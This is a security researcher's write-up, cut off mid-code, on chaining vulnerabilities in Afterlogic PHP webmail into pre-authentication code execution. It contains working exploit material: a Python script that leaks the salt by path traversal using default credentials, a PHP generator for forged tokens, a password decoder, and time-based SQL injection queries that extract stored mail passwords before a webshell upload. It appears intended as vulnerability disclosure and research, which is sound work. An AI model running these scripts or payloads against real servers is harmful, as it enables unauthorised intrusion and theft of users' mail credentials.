Introduction

Afterlogic provides an e-mail client and an online file manager coded in PHP.

Today we’re going to see that the tools made available by Afterlogic are vulnerable to a PHP Object Injection attack (in that case the vulnerability allows an attacker to execute code on the underlying server without authentication).

Afterlogic Corp. is an award-winning technological company creating world-leading email and telecommunications components, software and platforms since 2002.

And:

Open-source initiatives of Afterlogic Corp.

Vulnerable targets

The vulnerability lies in the very core of the developed framework (making most Afterlogic PHP applications vulnerable) which has been available for some time on GitHub:

For versions <= 7:

Versions equal to or lower than version 7 are vulnerable and exploitable because it is possible to leak the value of CApi::$sSalt thanks to CVE-2021-26294 (by reading the contents of file data/salt.php).

For version 8 and 9 (latest):

The following versions are vulnerable but not exploitable in my opinion because I have not yet managed to leak the value of Api::$sSalt (which can be obtained by reading the contents of file data/salt8.php).

It should be noted that if the exact installation time (timestamp) of the application is known (to the nearest microsecond), then it is possible to recalculate the value of Api::$sSalt and therefore it becomes possible to exploit the vulnerability. However this has just been patched for the latest versions on 2023/05/15 via commit 705858c67d92051c1c7a827ab8dc0215d28dc395.

Versions <= 7

Why?

Our exploit chain will exploit an Information Leakage (CVE-2021-26294), a PHP Object Injection vulnerability, a Time Based SQL Injection vulnerability and an Arbitrary File Upload combined to a Path Traversal vulnerability.

Information Leakage

As explained above, thanks to CVE-2021-26294, it is possible to leak the contents of file data/salt.php.

File: leak_v7.py

import base64
import requests
import hashlib


class Recon:
    salt = None

    def __init__(self, url):
        self.url = url

    def run(self):
        # Default credentials.
        username = "caldav_public_user@localhost"
        password = "caldav_public_user"
        # Vulnerable file.
        vulnerable_file = "/dav/server.php"
        path_traversel = "//files/personal/%2E%2E/%2E%2E//%2E%2E/%2E%2E/data/salt.php"
        # We generate the authentication header (Authorization).
        autorization = f"Basic {base64.b64encode(username.encode() + b':' + password.encode()).decode()}"
        headers = {
         "Authorization": autorization
        }
        # We craft the URL allowing us to exploit the vulnerability.
        new_url = f"{self.url}{vulnerable_file}{path_traversel}"
        r = requests.get(new_url, headers=headers)
        index = r.text.find("<?php #")
        if r.status_code == 200 and index != -1:
            self.salt = "$2y$07$" + hashlib.md5(r.text.encode()).hexdigest() + "$"
            return 1
        return 0


recon = Recon("http://127.0.0.1/Projects/webmail-pro-php-7")
if not recon.run():
    print("[x] Unable to recover salt")
    exit(-1)
print(f"[+] Salt recovered: {recon.salt}")

alt-text

We are therefore able to recalculate CApi::$sSalt and reach sink unserialize() by querying route /rest.php.

Note from the author:
The chain I discovered was initially a post-auth chain before being transformed into a pre-auth chain thanks to the CVE. It is possible for authenticated users to reach vulnerable fonctions within /rest.php.

Unfortunately, there’s no trivial gadget chain for executing code or writing files on the server. We’ll have to understand the execution flow and hope to find another vulnerability, which I did, by discovering a Time Based SQL Injection in rest.php.

File: libraries/afterlogic/api.php

<?php

...

class CApi
{

    ...

    /**
     * @var string
     */
    static $sSalt;

    /**
     * @var string
     */
    static $sSaltShort;

    ...

    public static function Run()
    {
        include_once self::LibrariesPath().'MailSo/MailSo.php';

        CApi::$aI18N = null;
        CApi::$aClientI18N = array();

        if (!is_object(CApi::$oManager))
        {

            ...

            $sSalt = '';
            $sSaltShort = '';
            $sSaltFile = CApi::DataPath().'/salt.php';
            if (!@file_exists($sSaltFile))
            {
                $sSaltDesc = '<?php #'.md5(microtime(true).rand(1000, 9999)).md5(microtime(true).rand(1000, 9999));
                @file_put_contents($sSaltFile, $sSaltDesc);
            }
            else
            {
                $sSaltShort = md5(file_get_contents($sSaltFile));
                $sSalt = '$2y$07$' . $sSaltShort . '$';
            }

            CApi::$sSalt = $sSalt;
            CApi::$sSaltShort = $sSaltShort;
            CApi::$aConfig = include CApi::RootPath().'common/config.php';

            ...

        }
    }

    ...

    public static function DecodeKeyValues($sEncodedValues, $iSaltLen = 32)
    {
        $aResult = unserialize(
            api_Crypt::XxteaDecrypt(
                api_Utils::UrlSafeBase64Decode($sEncodedValues), substr(md5(self::$sSalt), 0, $iSaltLen)));

        return is_array($aResult) ? $aResult : array();
    }

    ...

}

File: rest.php

<?php

include_once __DIR__.'/libraries/afterlogic/api.php';
include_once CApi::LibrariesPath().'/ProjectCore/Notifications.php';

$sContents = file_get_contents('php://input');
$aInputData = array();
if (strlen($sContents) > 0)
{
    parse_str($sContents, $aInputData);
}
else
{
    $aInputData = isset($_REQUEST) && is_array($_REQUEST) ? $_REQUEST : array();
}

//$sMethod = isset($aInputData['method']) ? $aInputData['method'] : '';
$sMethod = strlen($_SERVER['PATH_INFO']) > 0 ? $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['PATH_INFO'] : '';
$sToken = isset($aInputData['token']) ? $aInputData['token'] : '';
$aSecret = CApi::DecodeKeyValues($sToken);
$bMethod = in_array($sMethod, array(
    'GET /token',
    'POST /account',
    'PUT /account/update',
    'DELETE /account',
    'PUT /account/enable',
    'PUT /account/disable',
    'PUT /account/password',
    'GET /account/list',
    'GET /account/exists',
    'POST /channel',
    'DELETE /channel',
    'POST /tenant',
    'PATCH /tenant',
    'DELETE /tenant',
    'GET /tenant/exists',
    'GET /tenant/list',
    'GET /account',
    'POST /domain',
    'PUT /domain/update',
    'DELETE /domain',
    'GET /domain/list',
    'GET /domain/exists',
    'GET /domain'
));

$aResult = array(
    'method' => $sMethod
);

if (!CApi::GetConf('labs.rest', true))
{
    $aResult['message'] = 'rest api disabled';
    $aResult['errorCode'] = \ProjectCore\Notifications::RestApiDisabled;
    $aResult['result'] = false;
}
else if (class_exists('CApi') && CApi::IsValid() && $bMethod)
{

    ...

    if ($sMethod === 'GET /token')
    {

        ...

    }
    else if (!(isset($aSecret['login']) && isset($aSecret['password'])))
    {
        $aResult['message'] = 'invalid token';
        $aResult['errorCode'] = \ProjectCore\Notifications::RestInvalidToken;
    }
    else if (!isset($aSecret['timestamp']) || ((time() - $aSecret['timestamp']) > 3600 /*1h*/))
    //else if (!isset($aSecret['timestamp']))
    {
        $aResult['message'] = 'token expired';
        $aResult['errorCode'] = \ProjectCore\Notifications::RestTokenExpired;
    }
    else
    {
        $iAuthTenantId = isset($aSecret['tenantId']) ? $aSecret['tenantId'] : 0; //Jedi remember - tenant has less power than superadmin

        switch ($sMethod)
        {

            ...

            case 'GET /tenant/list':

                $iPage = isset($aInputData['page']) ? (int) trim ($aInputData['page']) : 1;
                $iTenantsPerPage = isset($aInputData['tenantsPerPage']) ? (int) trim ($aInputData['tenantsPerPage']) : 100;
                $sOrderBy = isset($aInputData['orderBy']) ? strtolower (trim ($aInputData['orderBy'])) : 'Login';
                $bOrderType = (isset($aInputData['orderType']) && trim($aInputData['orderType']) === 'false') ? false : true;
                $sSearchDesc = isset($aInputData['searchDesc']) ? trim ($aInputData['searchDesc']) : '';

                if (!class_exists('CTenant'))
                {
                    $aResult['message'] = getErrorMessage('Tenant : Required classes not found', $oApiTenantsManager);
                    $aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
                    break;
                }


                $aResult['result'] = $oApiTenantsManager->getTenantList($iPage, $iTenantsPerPage, $sOrderBy, $bOrderType, $sSearchDesc);
                if (!$aResult['result'])
                {
                    $aResult['message'] = getErrorMessage('cannot get tenant list', $oApiTenantsManager);
                    $aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
                }
                else
                {
                    $aList = array();

                    foreach ($aResult['result'] as $iKey => $mValue){
                        $aList[] = array(
                            "Id" => $iKey,
                            "Login" => $mValue[0],
                            "Description" => $mValue[1]
                        );
                    }
                    $aResult['result'] = $aList;
                }

                break;

                ...

        }

        ...

    }

}

...

$aResult['$sContents'] = $sContents;

if (isset($aResult['result']) && $aResult['result'])
{
    $aResult['message'] = 'ok';
}
if (!isset($aResult['message']))
{
    $aResult['message'] = $bMethod ? 'error' : 'unknown method';
    $aResult['errorCode'] = $bMethod ? \ProjectCore\Notifications::RestOtherError : \ProjectCore\Notifications::RestUnknownMethod;
    $aResult['result'] = false;
}

function getErrorMessage ($sMessage, $oManager)
{
    $sResultMessage = $oManager ? $oManager->GetLastErrorMessage() : null;
    return empty($sResultMessage) ? $sMessage : $sResultMessage;
}

/*@header('Content-Type: text/html; charset=utf-8');
echo '<script>console.log('.json_encode($aResult, defined('JSON_UNESCAPED_UNICODE') ? JSON_UNESCAPED_UNICODE : 0).');</script>';*/
@header('Content-Type: application/json; charset=utf-8');
echo json_encode($aResult, defined('JSON_UNESCAPED_UNICODE') ? JSON_UNESCAPED_UNICODE : 0);

PHP Object Injection

As you can see:

  • Using the URL and its parameters we control the variables:
    • $aInputData
    • $sMethod
    • $sToken
  • Thanks to the PHP Object Injection vulnerability, we control the variable:
    • $aSecret

In addition, the following safety checks can be bypassed:

File: rest.php


    ...

    else if (!(isset($aSecret['login']) && isset($aSecret['password'])))
    {
        $aResult['message'] = 'invalid token';
        $aResult['errorCode'] = \ProjectCore\Notifications::RestInvalidToken;
    }
    else if (!isset($aSecret['timestamp']) || ((time() - $aSecret['timestamp']) > 3600 /*1h*/))
    //else if (!isset($aSecret['timestamp']))
    {
        $aResult['message'] = 'token expired';
        $aResult['errorCode'] = \ProjectCore\Notifications::RestTokenExpired;
    }

    ...

By encoding with salt CApi::$sSalt the payload:

a:3:{s:5:"login";s:4:"junk";s:8:"password";s:4:"junk";s:9:"timestamp";i:9999999999;}

Of course, the entire encoding process is automated using the following script:

File: gen_payloads_v7.php

<?php

function UrlSafeBase64Encode($sValue) {
    return str_replace(array('+', '/', '='), array('-', '_', '.'), base64_encode($sValue));
}


function long2str($aV, $aW) {
    $iLen = count($aV);
    $iN = ($iLen - 1) << 2;
    if ($aW) {
        $iM = $aV[$iLen - 1];
        if (($iM < $iN - 3) || ($iM > $iN)) {
            return false;
        }
        $iN = $iM;
    }
    $aS = array();
    for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
        $aS[$iIndex] = pack('V', $aV[$iIndex]);
    }
    if ($aW) {
        return substr(join('', $aS), 0, $iN);
    }
    else {
        return join('', $aS);
    }
}


function int32($iN) {
    while ($iN >= 2147483648) {
        $iN -= 4294967296;
    }
    while ($iN <= -2147483649) {
        $iN += 4294967296;
    }
    return (int) $iN;
}


function str2long($sS, $sW) {
    $aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
    $aV = array_values($aV);
    if ($sW) {
        $aV[count($aV)] = strlen($sS);
    }
    return $aV;
}


function XxteaEncrypt($sString, $sKey) {
    if (empty($sString)) {
        return '';
    }

    $aV = str2long($sString, true);
    $aK = str2long($sKey, false);
    if (count($aK) < 4) {
        for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
            $aK[$iIndex] = 0;
        }
    }
    $iN = count($aV) - 1;

    $iZ = $aV[$iN];
    $iY = $aV[0];
    $iDelta = 0x9E3779B9;
    $iQ = floor(6 + 52 / ($iN + 1));
    $iSum = 0;
    while (0 < $iQ--) {
        $iSum = int32($iSum + $iDelta);
        $iE = $iSum >> 2 & 3;
        for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++)
        {
            $iY = $aV[$iPIndex + 1];
            $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
                (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
            $iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
        }
        $iY = $aV[0];
        $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
            (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
        $iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
    }

    return long2str($aV, false);
}


function EncodeKeyValues($aValues, $iSaltLen = 32) {
    return UrlSafeBase64Encode(XxteaEncrypt($aValues, substr(md5(SALT), 0, $iSaltLen)));
}


function gen() {
    $payload = "token=" . EncodeKeyValues(ORIGINAL_PAYLOAD) . "\n";
    return $payload;
}


define('ORIGINAL_PAYLOAD', $argv[2]);
define("SALT", $argv[1]);
echo gen();

alt-text

alt-text

Time Based SQL Injection

Ok, after the bypass, we’re now able to interact with this piece of code:

File: rest.php


            ...

            case 'GET /tenant/list':

                $iPage = isset($aInputData['page']) ? (int) trim ($aInputData['page']) : 1;
                $iTenantsPerPage = isset($aInputData['tenantsPerPage']) ? (int) trim ($aInputData['tenantsPerPage']) : 100;
                $sOrderBy = isset($aInputData['orderBy']) ? strtolower (trim ($aInputData['orderBy'])) : 'Login';
                $bOrderType = (isset($aInputData['orderType']) && trim($aInputData['orderType']) === 'false') ? false : true;
                $sSearchDesc = isset($aInputData['searchDesc']) ? trim ($aInputData['searchDesc']) : '';

                if (!class_exists('CTenant'))
                {
                    $aResult['message'] = getErrorMessage('Tenant : Required classes not found', $oApiTenantsManager);
                    $aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
                    break;
                }


                $aResult['result'] = $oApiTenantsManager->getTenantList($iPage, $iTenantsPerPage, $sOrderBy, $bOrderType, $sSearchDesc);
                if (!$aResult['result'])
                {
                    $aResult['message'] = getErrorMessage('cannot get tenant list', $oApiTenantsManager);
                    $aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
                }
                else
                {
                    $aList = array();

                    foreach ($aResult['result'] as $iKey => $mValue){
                        $aList[] = array(
                            "Id" => $iKey,
                            "Login" => $mValue[0],
                            "Description" => $mValue[1]
                        );
                    }
                    $aResult['result'] = $aList;
                }

                break;

            ...

Since we are controlling the variable $aInputData as shown above, we are also controlling the following values:

  • $iPage
  • $iTenantsPerPage
  • $sOrderBy
  • $bOrderType
  • $sSearchDesc

But it turns out that these values are passed as parameters to function CApiTenantsManager::getTenantList().

File: libraries/afterlogic/common/managers/tenants/manager.php

<?php

...

class CApiTenantsManager extends AApiManagerWithStorage
{

    ...

    public function getTenantList($iPage, $iTenantsPerPage, $sOrderBy = 'Login', $bOrderType = true, $sSearchDesc = '')
    {
        $aResult = false;
        try
        {
            $aResult = $this->oStorage->getTenantList($iPage, $iTenantsPerPage, $sOrderBy, $bOrderType, $sSearchDesc);
        }
        catch (CApiBaseException $oException)
        {
            $this->setLastException($oException);
        }
        return $aResult;
    }

    ...

}

Which itself calls the function CApiTenantsDbStorage::getTenantList():

File: libraries/afterlogic/common/managers/tenants/storages/db/storage.php

<?php

...

class CApiTenantsDbStorage extends CApiTenantsStorage
{

    ...

    public function getTenantList($iPage, $iTenantsPerPage, $sOrderBy = 'Login', $bOrderType = true, $sSearchDesc = '')
    {
        $aTenants = false;
        if ($this->oConnection->Execute(
            $this->oCommandCreator->getTenantList($iPage, $iTenantsPerPage,
                $this->_dbOrderBy($sOrderBy), $bOrderType, $sSearchDesc)))
        {
            $oRow = null;
            $aTenants = array();
            while (false !== ($oRow = $this->oConnection->GetNextRecord()))
            {
                $aTenants[$oRow->id_tenant] = array($oRow->login, $oRow->description);
            }
        }

        $this->throwDbExceptionIfExist();
        return $aTenants;
    }

    ...

    protected function _dbOrderBy($sOrderBy)
    {
        $sResult = $sOrderBy;
        switch ($sOrderBy)
        {
            case 'Description':
                $sResult = 'description';
                break;
            case 'Login':
                $sResult = 'login';
                break;
        }
        return $sResult;
    }

    ...

}

I’m going to spoil it for you, but the parameter we’re interested in is $sOrderBy which takes its value from $_GET["orderBy"] and because no default case is defined, we control the return value $sResult. When we look at what the function CApiTenantsCommandCreatorMySQL::getTenantList() does, we see that the value we are controlling is inserted directly into an SQL query without being filtered (unlike the other functions I audited).

Then the request is executed using the function CDbStorage::Execute():

File: libraries/afterlogic/common/managers/tenants/storages/db/command_creator.php

<?php

...

class CApiTenantsCommandCreatorMySQL extends CApiTenantsCommandCreator
{

    ...

    public function getTenantList($iPage, $iTenantsPerPage, $sOrderBy = 'login', $bOrderType = true, $sSearchDesc = '')
    {
        $sWhere = '';
        if (!empty($sSearchDesc))
        {
            $sSearchDesc = '\'%'.$this->escapeString($sSearchDesc, true, true).'%\'';

            $sWhere = ' WHERE login LIKE '.$sSearchDesc.' OR description LIKE '.$sSearchDesc;
        }

        $sOrderBy = empty($sOrderBy) ? 'login' : $sOrderBy;

        $sSql = 'SELECT id_tenant, login, description FROM %sawm_tenants %s ORDER BY %s %s LIMIT %d OFFSET %d';

        $sSql = sprintf($sSql, $this->prefix(), $sWhere, $sOrderBy,
            ((bool) $bOrderType) ? 'ASC' : 'DESC',
            $iTenantsPerPage,
            ($iPage > 0) ? ($iPage - 1) * $iTenantsPerPage : 0
        );

        return $sSql;
    }
}

...

File: libraries/afterlogic/common/db/storage.php


...

class CDbStorage
{

    ...

    public function Execute($sSql)
    {
        $bResult = false;
        try
        {
            if (!empty($sSql))
            {
                if ($this->oSlaveConnector && $this->isSlaveSql($sSql))
                {
                    if ($this->ConnectSlave())
                    {
                        $bResult = $this->oSlaveConnector->Execute($sSql, true);
                    }
                }
                else
                {
                    if ($this->Connect())
                    {
                        $bResult = $this->oConnector->Execute($sSql);
                    }
                }
            }
        }
        catch (CApiDbException $oException)
        {
            $this->SetException($oException);
        }

        return $bResult;
    }

    ...

}

...

So we now have an Time Based SQL Injection without authentication.

Here is the query we injected:

SELECT id_tenant, login, description FROM awm_tenants  ORDER BY <INJECTION_POINT> ASC LIMIT 100 OFFSET 0;

The table we are interested in, is table awm_accounts which in my lab has the following columns:

id_acct id_user id_domain id_tenant def_acct deleted quota email friendly_nm mail_protocol mail_inc_host mail_inc_port mail_inc_login mail_inc_pass mail_inc_ssl mail_out_host mail_out_port mail_out_login mail_out_pass mail_out_auth mail_out_ssl signature signature_type signature_opt mailbox_size mailing_list hide_in_gab custom_fields is_password_specified allow_mail
1 1 0 0 1 0 104857600 user1@mail.local   1 mail 143 user1@mail.local 70110303071f0214 0 mail 25     2 0   1 0 0 0 0   1 1
2 2 0 0 1 0 104857600 admin@mail.local   1 mail 143 admin@mail.local 70110303071f0214 0 mail 25     2 0   1 0 0 0 0   1 1
3 3 0 0 1 0 104857600 user2@mail.local   1 mail 143 user2@mail.local 70110303071f0214 0 mail 25     2 0   1 0 0 0 0   1 1

Moreover, the only column that really interests me is column mail_inc_pass, which seems to contain a password derivative. The reason I’m telling you this is that I’ve defined the same password (password) for all three users. But what does this value (70110303071f0214) correspond to?

Like you, my first thought was for a hash or an encrypted password, but it turns out not to be the case and let’s take a look at the function api_Utils::DecodePassword() instead:

File: libraries/afterlogic/common/utils.php

<?php

...

class api_Utils
{

    ...

    public static function DecodePassword($sPassword)
    {
        $sResult = '';
        $iPasswordLen = strlen($sPassword);

        if (0 < $iPasswordLen && strlen($sPassword) % 2 == 0)
        {
            $sDecodeByte = chr(hexdec(substr($sPassword, 0, 2)));
            $sPlainBytes = $sDecodeByte;
            $iStartIndex = 2;
            $iCurrentByte = 1;

            do
            {
                $sHexByte = substr($sPassword, $iStartIndex, 2);
                $sPlainBytes .= (chr(hexdec($sHexByte)) ^ $sDecodeByte);

                $iStartIndex += 2;
                $iCurrentByte++;
            }
            while ($iStartIndex < $iPasswordLen);

            $sResult = $sPlainBytes;
        }
        
        // fix problem with 1-symbol password
        if ($iPasswordLen === 2 && $iPasswordLen === strlen($sResult))
        {
            $sResult = substr($sResult, 0,  1);
        }
        
        return $sResult;
    }

    ...

}

So we create the following PHP script:

File: decode_mail_inc_pass.php

<?php

function DecodePassword($sPassword)
{
    $sResult = '';
    $iPasswordLen = strlen($sPassword);

    if (0 < $iPasswordLen && strlen($sPassword) % 2 == 0)
    {
        $sDecodeByte = chr(hexdec(substr($sPassword, 0, 2)));
        $sPlainBytes = $sDecodeByte;
        $iStartIndex = 2;
        $iCurrentByte = 1;

        do
        {
            $sHexByte = substr($sPassword, $iStartIndex, 2);
            $sPlainBytes .= (chr(hexdec($sHexByte)) ^ $sDecodeByte);

            $iStartIndex += 2;
            $iCurrentByte++;
        }
        while ($iStartIndex < $iPasswordLen);

        $sResult = $sPlainBytes;
    }
    
    // fix problem with 1-symbol password
    if ($iPasswordLen === 2 && $iPasswordLen === strlen($sResult))
    {
        $sResult = substr($sResult, 0,  1);
    }
    
    return $sResult;
}

echo DecodePassword($argv[1]);

alt-text

Which, once executed, gives us our decoded password.

Now that we know which column we’re interested in, you may ask why we don’t extract the email column as well (which seems logical). Given that we’re going to extract the contents of the column using a Time Based SQL Injection, I’d prefer to limit the number of requests made (and therefore the exploitaiton time). In addition, a single HTTP GET request will allow us to retrieve the contents of the email column.

alt-text

Now, we have a way to retrieve the contents of the two columns email and mail_inc_pass from table awm_accounts.

SQL Injection optimisation

Retrieve the length of the encoded password

The length of the string can be retrieved using the function LENGTH().

SELECT LENGTH(mail_inc_pass) FROM `awm_accounts` LIMIT 1;
16

Only then it take 16 queries if we make a comparison of type:

  • len == 1 nok
  • len == 2 nok
  • len == 16 ok

Dicotomy can also work, but my advice here is to convert our base 10 integer to base 2.

SELECT BIN(LENGTH(mail_inc_pass)) FROM `awm_accounts` LIMIT 1;
10000

And as the values returned by the function BIN() are not padded on the left, and we don’t want to fall into an infinite loop when writing the exploit, I recommend padding our value on the left using function LPAD().

SELECT LPAD(BIN(LENGTH(mail_inc_pass)),8,0) FROM `awm_accounts` LIMIT 1;
00010000

Now, with a bit-by-bit comparison, we can determine the length of our encoded password in 8 queries.

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),1,1) FROM `awm_accounts` LIMIT 1;
0

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),2,1) FROM `awm_accounts` LIMIT 1;
0

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),3,1) FROM `awm_accounts` LIMIT 1;
0

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),4,1) FROM `awm_accounts` LIMIT 1;
1

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),5,1) FROM `awm_accounts` LIMIT 1;
0

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),6,1) FROM `awm_accounts` LIMIT 1;
0

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),7,1) FROM `awm_accounts` LIMIT 1;
0

SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),8,1) FROM `awm_accounts` LIMIT 1;
0

Once the password length has been obtained, we can start extracting the password character by character, using a similar technique.

Password extraction
SELECT SUBSTR(mail_inc_pass,1,1) FROM `awm_accounts` LIMIT 1;
7

We perform a binary conversion and padding (there are 128 values in the ASCII table).

SELECT LPAD(BIN(ASCII(SUBSTR(mail_inc_pass,1,1))),7,0) FROM `awm_accounts` LIMIT 1;
0110111

So we need to perform 7 requests to obtain the value of a character.

As a result, the total number of requests to obtain the encoded password is:

  • 8 requests to obtain the length of the encoded password.
  • 7 requests times the length of the encoded password (7 * LENGTH(mail_inc_pass)).

  • Total number of requests = 8 + (7 * LENGTH(mail_inc_pass))

Arbitrary File Upload and Path Traversal

Now that we’re able to retrieve accounts and their passwords, the last step in our exploit chain is to upload a webshell as shown below.

alt-text

alt-text

As it can be seen in the screenshot above, the upload request is an authenticated request, in which the cookie $_COOKIE[self::AUTH_KEY] is defined.

Let’s take a look at how we can generate such a cookie:

File: libraries/afterlogic/common/managers/integrator/manager.php

<?php

...

class CApiIntegratorManager extends AApiManager
{
    
    ...
    
    const AUTH_KEY = 'p7auth';

    ...

    public function getLogginedUserId($sAuthToken = '')
    {
        $iUserId = 0;
        $sKey = '';
        if (strlen($sAuthToken) !== 0)
        {
            $sKey = \CApi::Cacher()->get('AUTHTOKEN:'.$sAuthToken);
        }
        else
        {
            $sKey = empty($_COOKIE[self::AUTH_KEY]) ? '' : $_COOKIE[self::AUTH_KEY];
        }
        if (!empty($sKey) && is_string($sKey))
        {
            $aAccountHashTable = CApi::DecodeKeyValues($sKey);
            if (is_array($aAccountHashTable) && isset($aAccountHashTable['token']) &&
                'auth' === $aAccountHashTable['token'] && 0 < strlen($aAccountHashTable['id']) && 
                    is_int($aAccountHashTable['id']) && isset($aAccountHashTable['email']) && isset($aAccountHashTable['hash']))
            {
                $oApiUsersManager = \CApi::Manager('users');
                
                $oAccount = $oApiUsersManager->getAccountByEmail($aAccountHashTable['email']);
                if ($oAccount && $oAccount->IdUser == $aAccountHashTable['id'] && $aAccountHashTable['hash'] === sha1($oAccount->IncomingMailPassword . \CApi::$sSalt))
                {
                    $iUserId = $aAccountHashTable['id'];
                }
            }
            CApi::Plugin()->RunHook('api-integrator-get-loggined-user-id', array(&$iUserId));
        }

        return $iUserId;
    }

}

Once the SQL Injection has been carried out, all the information needed to forge the cookie are in our possession:

$p7auth = array(
    "token" => "auth",
    "sign-me" => true,
    "id" => <ID>,
    "email" => <EMAIL>,
    "hash" => sha1(<PASSWORD + SALT>)
);

Exploit

The exploit is in three parts:

  • A python script operating the exploit chain.
    • exploit.py
  • A PHP library for generating tokens, cookies and decoding database passwords.
    • lib.php
  • A simple PHP webshell.
    • poc.php

alt-text

The advantage of this exploit is that it recovers a user’s password in clear text, and is therefore stealth. But for purely technical interest, I’ve also coded an exploit that modifies a user’s password and uses it to upload the webshell. Which saves us an enormous amount of time during exploitation, since we no longer have to exploit the SQL injection.

The second exploit is a variant of the first one and is also in three parts:

  • A python script operating the exploit chain.
    • exploit.py
  • A PHP library for generating tokens and cookies.
    • lib.php
  • A simple PHP webshell.
    • poc.php

alt-text

Version 8 and 9

Why?

First let’s take the Web application WebMail Lite PHP 8 as an example.

Before commit 705858c67d92051c1c7a827ab8dc0215d28dc395:

File: system/Api.php

<?php

...

class Api
{
    ...

    public static $sSalt;
    
    ...

    public static function InitSalt()
    {
        $sSalt = '';
        $sSalt8File = self::GetSaltPath();
        $sSaltFile = self::DataPath().'/salt.php';

        if (!@file_exists($sSalt8File)) {
            if (@file_exists($sSaltFile)) {
                $sSalt = md5(@file_get_contents($sSaltFile));
                @unlink($sSaltFile);
            } else {
                $sSalt = base64_encode(microtime(true).rand(1000, 9999).microtime(true).rand(1000, 9999));
            }
            $sSalt = '<?php \\Aurora\\System\\Api::$sSalt = "'. $sSalt . '";';
            @file_put_contents($sSalt8File, $sSalt);
        }

        if (is_writable($sSalt8File)) {
            include_once $sSalt8File;
        }

        self::$sSalt = '$2y$07$' . self::$sSalt . '$';
    }

    ...

}

PHP documentation for the rand() function:

Caution

This function does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.

If cryptographically secure randomness is required, the Random\Randomizer may be used with the Random\Engine\Secure engine. For simple use cases, the random_int() and random_bytes() functions provide a convenient and secure API that is backed by the operating system’s CSPRNG

Furthermore since PHP 7.1.0:

rand() has been made an alias of mt_rand().

alt-text

So if we know the time (timestamp) at which the application was installed (to the nearest microsecond), the variable Api::$sSalt can only take 80982001 possible values.

After commit 705858c67d92051c1c7a827ab8dc0215d28dc395:

File: system/Api.php

<?php

...

class Api
{
    ...

    public static $sSalt;
    
    ...

    public static function InitSalt()
    {
        $sSalt = '';
        $sSalt8File = self::GetSaltPath();

        if (!@file_exists($sSalt8File)) {
            $sSalt = base64_encode(microtime(true).rand(1000, 9999).microtime(true).rand(1000, 9999));
            $sSalt = bin2hex(random_bytes(16));

            $sSalt = '<?php \\Aurora\\System\\Api::$sSalt = "'. $sSalt . '";';
            @file_put_contents($sSalt8File, $sSalt);
        }

        if (is_writable($sSalt8File)) {
            include_once $sSalt8File;
        }
    }

    ...

}

But this is no longer possible due to the following line of code:

File: system/Api.php


...

            $sSalt = bin2hex(random_bytes(16));

...

Now let’s take a look at how to reach the function unserialize() without authentication by looking at the following call stack:

1) File index.php calls \Aurora\System\Application::Start() from file system/Application.php.

2) Function Application::Start() calls Api::Init() defined in file system/Api.php.

3) Function Api::Init() calls self::GetModuleManager()->loadModules() where loadModules() is defined in file system/Module/Manager.php.

4) Function loadModules() then calls \Aurora\System\Api::authorise() from file system/Api.php.

5) Variable $sAuthToken is defined as the result of the function self::getAuthToken() which retrieves the value of cookie Application::AUTH_TOKEN_KEY ('AuthToken'). This variable is then passed as a parameter to function self::getAuthenticatedUserId(). Function getAuthenticatedUserId() calls function \Aurora\System\Managers\Integrator::getInstance()->getAuthenticatedUserInfo() from file system/Managers/Integrator.php.

6) Function getAuthenticatedUserInfo() calls function \Aurora\System\Api::UserSession()->Get() from file system/UserSession.php which then calls function Api::DecodeKeyValues() from file system/Api.php.

7) Function DecodeKeyValues() calls unserialize() our vulnerable function with a parameter under our control $_COOKIE['AuthToken'].

It is therefore possible, without authentication, to reach function unserialize() (sink).

File: index.php

<?php

...

include_once 'system/autoload.php';

\Aurora\System\Application::Start();

File: system/Application.php

<?php

...

class Application
{

    ...

    public static function Start($sDefaultEntry = 'default')
    {
        if (!defined('AU_APP_START'))
        {
            define('AU_APP_START', microtime(true));
        }

        try
        {
            Api::Init();
        }
        catch (\Aurora\System\Exceptions\ApiException $oEx)
        {
            \Aurora\System\Api::LogException($oEx);
        }

        self::GetVersion();

        $mResult = self::SingletonInstance()->Route(
            \strtolower(
                Router::getItemByIndex(0, $sDefaultEntry)
            )
        );
        if (\MailSo\Base\Http::SingletonInstance()->GetRequest('Format') !== 'Raw')
        {
            echo $mResult;
        }
    }

    ...

}

File: system/Api.php

<?php

...

class Api
{

    ...

    public static function Init($bGrantAdminPrivileges = false)
    {
        $apiInitTimeStart = \microtime(true);
        include_once self::GetVendorPath().'autoload.php';

        if ($bGrantAdminPrivileges)
        {
            self::GrantAdminPrivileges();
        }

        self::InitSalt();
        self::validateApi();
        self::GetModuleManager()->loadModules();

        if (!defined('AU_API_INIT'))
        {
            define('AU_API_INIT', microtime(true) - $apiInitTimeStart);
        }
    }

    ...

    public static function authorise($sAuthToken = '')
    {
        $oUser = null;
        $mUserId = false;
        try
        {
            if (isset(self::$aUserSession['UserId']))
            {
